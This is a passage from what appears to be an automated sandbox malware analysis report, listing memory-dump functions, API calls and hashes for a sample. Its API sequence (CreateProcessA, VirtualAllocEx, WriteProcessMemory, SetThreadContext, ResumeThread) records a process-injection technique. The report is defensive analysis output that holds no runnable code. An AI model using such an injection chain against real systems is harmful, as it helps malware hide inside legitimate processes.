EnterCriticalSection.KERNEL32(?,?,00000000,6D018C13,?,6D018CD3,?,6D018C13,00000000,?,?,6D018C13,?,?), ref: 6D018D73
LeaveCriticalSection.KERNEL32(?,?,?,6D018CD3,?,6D018C13,00000000,?,?,6D018C13,?,?), ref: 6D018D8C

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f0e93837a51a454c0cbb7e780b3f315a1e3d6bd722dc63ccffc0e87f32b6b74b
Instruction ID: 9e24d3ec9bec0671b9e39908efecaa81be9b1bd02bd0777a263d457d23106708
Opcode Fuzzy Hash: f0e93837a51a454c0cbb7e780b3f315a1e3d6bd722dc63ccffc0e87f32b6b74b
Instruction Fuzzy Hash: 7C21167520410AAFCB04CF88D890EAEB3FAFFC9210B118649F90687340C730EE16CBA1

Function 05CC0048 Relevance: 2.6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

Te^q, xrefs: 05CC0077
TJcq, xrefs: 05CC008F

Memory Dump Source

Source File: 00000000.00000002.1768998212.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: TJcq$Te^q
API String ID: 0-918715239
Opcode ID: ed5e7c90271f2c8068482c7a0e78cd4de84caf4b18d905eef2a7ca0ef29191fd
Instruction ID: 57da44dc1c395e8ed5e1d280e1e21e48cb4e8054dc4f235c108836f6abc4e891
Opcode Fuzzy Hash: ed5e7c90271f2c8068482c7a0e78cd4de84caf4b18d905eef2a7ca0ef29191fd
Instruction Fuzzy Hash: 43110330B001154BCB18ABA994587BFBBE6FFC8640F10446DD50AAB394CE359D0587E2

Function 6D018BC0 Relevance: 2.6, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,6D016890,?), ref: 6D018BDD
LeaveCriticalSection.KERNEL32(?), ref: 6D018C23

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 7b3da5219bbd519c06ddc3f0577f64efc57ebc719d6a03cfcad60b45dab99098
Instruction ID: 356a9f94739b40d5a6684f6b761614b34cfae109798cd58ca6026e4a7121bf1f
Opcode Fuzzy Hash: 7b3da5219bbd519c06ddc3f0577f64efc57ebc719d6a03cfcad60b45dab99098
Instruction Fuzzy Hash: 48019A71709104AFDB00DFA8C880A9AF3A9FB9D200710426AEA05C7300DB32EE51CBD1

Function 0543BA24 Relevance: 1.8, APIs: 1, Instructions: 299processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0543BCFF

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 89f74fec073db51d30e55540aa0c941393f8997f02cf509bfcd04c583239c609
Instruction ID: 842382884e77f5928eaff658ddd4bfb2551947676ddfff87bb3aba70316d6fa9
Opcode Fuzzy Hash: 89f74fec073db51d30e55540aa0c941393f8997f02cf509bfcd04c583239c609
Instruction Fuzzy Hash: 05B11570D042588FDB10CFA8C986BEEBBB1FB09304F1481AAD859A72A0DB749985CF45

Function 0543BA30 Relevance: 1.8, APIs: 1, Instructions: 295processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0543BCFF

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 09c267cb20328c479fbc1eab0b5e2e232a721f62cb449074a56de7d5f6e3cb96
Instruction ID: d9d074e3bc1c2c8643699101190c6404696ac353664ff847a17aa9624ca0205d
Opcode Fuzzy Hash: 09c267cb20328c479fbc1eab0b5e2e232a721f62cb449074a56de7d5f6e3cb96
Instruction Fuzzy Hash: D7B10570D042588FDB10CFA8C946BEEBBB1FB49304F14916AD859A72A0DB749985CF45

Function 0543C149 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0543C225

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a9ba53084e9431fdd5c110724bcc0031bcfefc1dc4480416410a52047ffdfb3c
Instruction ID: badf77cb5c12c381dc8781cf353d252bda177446c577b286304ddf984c8f6603
Opcode Fuzzy Hash: a9ba53084e9431fdd5c110724bcc0031bcfefc1dc4480416410a52047ffdfb3c
Instruction Fuzzy Hash: 484177B5D042589FCB00CFA9D984AEEFBF1BF09310F24942AE818BB210D375A945CF64

Function 0543C150 Relevance: 1.6, APIs: 1, Instructions: 115injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0543C225

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 83018b0459b0c46b0fb90e413c7da3a712c36e09f6aefafc4187945c18039c96
Instruction ID: 9d06a0e9219f5a3b369c375553da559bfae24bf9325aefd36af6ef4491753961
Opcode Fuzzy Hash: 83018b0459b0c46b0fb90e413c7da3a712c36e09f6aefafc4187945c18039c96
Instruction Fuzzy Hash: B84167B5D042589FCB04CFA9D984ADEFBF1BF49310F24942AE818BB250D375A945CF64

Function 0543C028 Relevance: 1.6, APIs: 1, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0543C0DC

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2ce2a1ed17c71835e1339b94ad3128be6ead6b616d71a7167d222d7a9b1752af
Instruction ID: 2d96be2c6f549c498bd1099eac9fc70655a123219f2e0012e72828a68c0bc4d9
Opcode Fuzzy Hash: 2ce2a1ed17c71835e1339b94ad3128be6ead6b616d71a7167d222d7a9b1752af
Instruction Fuzzy Hash: 174166B9D002589FCF10CFA9D984A9EFBB1AB09310F14902AE918B7320D775A941CF68

Function 0543C030 Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0543C0DC

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 24708999ca79033445819ff1a9da8cab969afcdb23006511dcce5b3343b6ba52
Instruction ID: 242ae69ed592e7e031c872705b87a65e8e913e4e5992814876746d475c5e766b
Opcode Fuzzy Hash: 24708999ca79033445819ff1a9da8cab969afcdb23006511dcce5b3343b6ba52
Instruction Fuzzy Hash: 2E3156B9D052589FCF10CFA9D984A9EFBF1BB09310F10902AE818B7220D775A941CF64

Function 6D017140 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

Part of subcall function 6D032820: _malloc.LIBCMT ref: 6D032871

std::tr1::_Xweak.LIBCPMT ref: 6D0171D2

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Xweak_mallocstd::tr1::_
String ID:
API String ID: 4085767713-0
Opcode ID: 5e94676a8414f145ae3434f2304005e8e70a98099a4b084cd68e6e7bd15e2c64
Instruction ID: 1ebfa1e2ef66532b2a20f41ee3408cbe0e44e325d4338a51756fb5f4f5b29edb
Opcode Fuzzy Hash: 5e94676a8414f145ae3434f2304005e8e70a98099a4b084cd68e6e7bd15e2c64
Instruction Fuzzy Hash: 95315AB4A0874ADFDB10CFA9C880BAAB7F9FF89204B10865DE81697741D731E905CB90

Function 0543BF28 Relevance: 1.6, APIs: 1, Instructions: 84threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0543BFBB

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 58eec2d7d64d669e7a0d6001252e4dd3ebd5803e009a0bd357b0214a68b10af8
Instruction ID: e642b2994f53a2f0bff89d6d30f9516880298cbf8305fd686d3a70ab2efd77d8
Opcode Fuzzy Hash: 58eec2d7d64d669e7a0d6001252e4dd3ebd5803e009a0bd357b0214a68b10af8
Instruction Fuzzy Hash: 4131B9B9D052589FCB10CFA9D584ADEFBF0EB49310F24906AE818B7310D335AA45CF68

Function 05432098 Relevance: 1.6, APIs: 1, Instructions: 82libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 0543213A

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a22ba2558f1a65290ab48bbf9d9da55c106e2933450f4ed3f0366612cc4b074b
Instruction ID: 52e226cc4cd8e1e82e1989b4e5290c83886fc5cb09d58b9e0402764c34b7768b
Opcode Fuzzy Hash: a22ba2558f1a65290ab48bbf9d9da55c106e2933450f4ed3f0366612cc4b074b
Instruction Fuzzy Hash: E831DBB8D042189FCB14CFA9D984ADEFBF5BB49314F24806AE918B7320D374A945CF64

Function 05430510 Relevance: 1.6, APIs: 1, Instructions: 81libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 0543213A

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6c524f77f612eb8a476571ce53547d48d4fa7ddc0c66c998cf59aa523fa57adc
Instruction ID: 9b692131efb77127a1be564a6244fa13aee600ed190a7b58096c2fcccb70759f
Opcode Fuzzy Hash: 6c524f77f612eb8a476571ce53547d48d4fa7ddc0c66c998cf59aa523fa57adc
Instruction Fuzzy Hash: 9731BAB8D042189FCB14CFA9D985ADEFBF1AB49314F14806AE918B7320D374A945CFA4

Function 0543BF30 Relevance: 1.6, APIs: 1, Instructions: 81threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0543BFBB

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9e689c554474765e59e6ec531cd637233cf90970d50c9114937635cce007d6cf
Instruction ID: 4f97b150e13f8b47eb5955f1a27ac3b52df7fcf6e2f6f47bf0e68a454e3f3f21
Opcode Fuzzy Hash: 9e689c554474765e59e6ec531cd637233cf90970d50c9114937635cce007d6cf
Instruction Fuzzy Hash: 5E31CAB4D012589FCB10CFA9D584ADEFBF0AB09310F20906AE818B7310C334A944CF64

Function 0543C2A0 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0543C325

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 75152cad958e0026681d72278191848fe59beca066603797fa876223e7b87c66
Instruction ID: 2621684cb111446f72f1df95c00dccdb655e621ad3491455edc6f6bdd5a4155c
Opcode Fuzzy Hash: 75152cad958e0026681d72278191848fe59beca066603797fa876223e7b87c66
Instruction Fuzzy Hash: 773198B5D012589FCB10DFA9E985ADEFBF4BB09314F10902AE818B7310D735A941CFA8

Function 0543C2A8 Relevance: 1.6, APIs: 1, Instructions: 71threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0543C325

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a8d14c20a2a236e2a639d8a2bfd1f50c05f75e26582d5216c7e07b85ef78ebc4
Instruction ID: a88ddd7eb82299847bcbf55b71c3564ca33c583224f57eb57078eb355c634168
Opcode Fuzzy Hash: a8d14c20a2a236e2a639d8a2bfd1f50c05f75e26582d5216c7e07b85ef78ebc4
Instruction Fuzzy Hash: 2C3178B4D012589FCB10CFA9D585ADEFBF4BB49314F10906AE818B7310D775A941CF64

Function 6D02EA40 Relevance: 1.5, APIs: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

SysAllocString.OLEAUT32 ref: 6D02EA8D

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 1a40a4e43b7733bd9c5ce32c95681345f7470674bfa21b6f5d5f18dcbec0b270
Instruction ID: 4a21b576ba546f3e69a20346ec7743addeca354cb8ce0898abf29368f165b9a7
Opcode Fuzzy Hash: 1a40a4e43b7733bd9c5ce32c95681345f7470674bfa21b6f5d5f18dcbec0b270
Instruction Fuzzy Hash: 8A0192B2845B55EBE720CF64C900BAAB7F8FB05B24F11432AEC15E7780D7B5A900CAD4

Function 6D069D21 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D06E8DC

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: H_prolog3_catch_malloc
String ID:
API String ID: 529455676-0
Opcode ID: 2e88de33e5d679a3d34dc66451477a82b21ce7e65d9d5c8ab9ed72bd656eb47c
Instruction ID: 89305c49312616552204cf934eeba5d0b1a884099c68071b1acd66b43d874297
Opcode Fuzzy Hash: 2e88de33e5d679a3d34dc66451477a82b21ce7e65d9d5c8ab9ed72bd656eb47c
Instruction Fuzzy Hash: 79D05E31518248DBEF41AB98D905B6D7FA4AB81325F918065E108BB280DE714E10877E

Function 6D06A510 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMT ref: 6D06A510

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 27b748a9c275510458f0068f842967d98f7d0f67ac18c1338cd75791cb2cbf1f
Instruction ID: a477bdcd43583e1ec9e556377cc830250478e386f956244eeed9e4ed1a16a668
Opcode Fuzzy Hash: 27b748a9c275510458f0068f842967d98f7d0f67ac18c1338cd75791cb2cbf1f
Instruction Fuzzy Hash: 7CC09B351083489FDB04DF10F841D5E3B15EF94224721D115FE1C076509B319561D574

Function 02EB8750 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

8bq, xrefs: 02EB87DE

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 8bq
API String ID: 0-187764589
Opcode ID: 4d2fe62b023db729755b5c28650f086cc230ed611893e4812600687de058d04e
Instruction ID: 2fb087aa1004c35b17069f8495cf2698622b4ee590f94d799537a92c95491392
Opcode Fuzzy Hash: 4d2fe62b023db729755b5c28650f086cc230ed611893e4812600687de058d04e
Instruction Fuzzy Hash: 23313274D46209DFCF02DFA9E444AEEBBB9BF49314F50A029E409A7350DB349944CF90

Function 02EBAFE8 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

Hbq, xrefs: 02EBB07C

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 038a06687f192fdd841c42898bf8b463ae59393b06ae2714e1ed4cede31e4977
Instruction ID: 1e56026af59237003a0f80fb562d63c65428e97fbd3b47ecf80a3e6e4ebe919e
Opcode Fuzzy Hash: 038a06687f192fdd841c42898bf8b463ae59393b06ae2714e1ed4cede31e4977
Instruction Fuzzy Hash: A721DF71A44204AFD7069B788C15BFA7FB6FF95340F10C09AE915DB284DA359A05CB51

Function 02EB0AC0 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a121c75f5ba99af781c5eebe69f1423071d0241339cefe87640d8b0555f0077a
Instruction ID: 8cb9b94e8ee3ee87f37fde11d9a822b532842ca0784f6bba68db3f549cdba0ff
Opcode Fuzzy Hash: a121c75f5ba99af781c5eebe69f1423071d0241339cefe87640d8b0555f0077a
Instruction Fuzzy Hash: DF51B074E40209CFCB05DFA8D994AEEBBB6FF88314F149529D409A7364DB34A946CF60

Function 02EB0AD0 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e218d628cb1f96126849e2eed6dfc960ffca59c09bd3e006065f06955d6bb75e
Instruction ID: 8f762ed771ac4d89c7e93f1133a82eb30d7141fcd8747451c2d6d1898f202646
Opcode Fuzzy Hash: e218d628cb1f96126849e2eed6dfc960ffca59c09bd3e006065f06955d6bb75e
Instruction Fuzzy Hash: 9E51CF74E40209CFCB05DFA8D994AEEBBB6FF88310F149529E409A7364DB34A945CF60

Function 02EB9570 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e5b5767eb0831165afba29f1d6f3e9a87270ac445305b1633437584b84662c
Instruction ID: 81cddb601bd9d7dc45f48e5dab116104cd0532dd79060d6ae57835ae5f77f34c
Opcode Fuzzy Hash: 25e5b5767eb0831165afba29f1d6f3e9a87270ac445305b1633437584b84662c
Instruction Fuzzy Hash: 05216D30A50208DBDB04EBB8E855AEEBBBAFF88310F109129E502A7385CF345905CF61

Function 02EB09CF Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dc3f5e6eebf960896ad4d2e57051294fd10456b4c3e2089aaf7671250069f03
Instruction ID: e1d0273bde6f8e18cf55558faa1a4b793bdc14ac77d122e72271b4ff7dea83f5
Opcode Fuzzy Hash: 2dc3f5e6eebf960896ad4d2e57051294fd10456b4c3e2089aaf7671250069f03
Instruction Fuzzy Hash: DD212270D44309CFDF01CFA5D4446EEBBBABF8A310F10A869D405B3240E7796A45CB60

Function 05CC2516 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768998212.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fad77583522326a632faf3d1d7011418b7b7a104493cdd5476d8ddbb9b4919f
Instruction ID: 164bad429c05a7ac8fd6c43c5919247abd89dd831acd59b133e809ccfebfca18
Opcode Fuzzy Hash: 6fad77583522326a632faf3d1d7011418b7b7a104493cdd5476d8ddbb9b4919f
Instruction Fuzzy Hash: F9216D75A102058BCB14DF69D550AAEBBF3BF88310F15C959E456DB398DF34EC428B81

Function 0138D964 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763300419.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_138d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9900e0d5fc01ea572224249a372c4b8eb7319443565c465418fd943649854b97
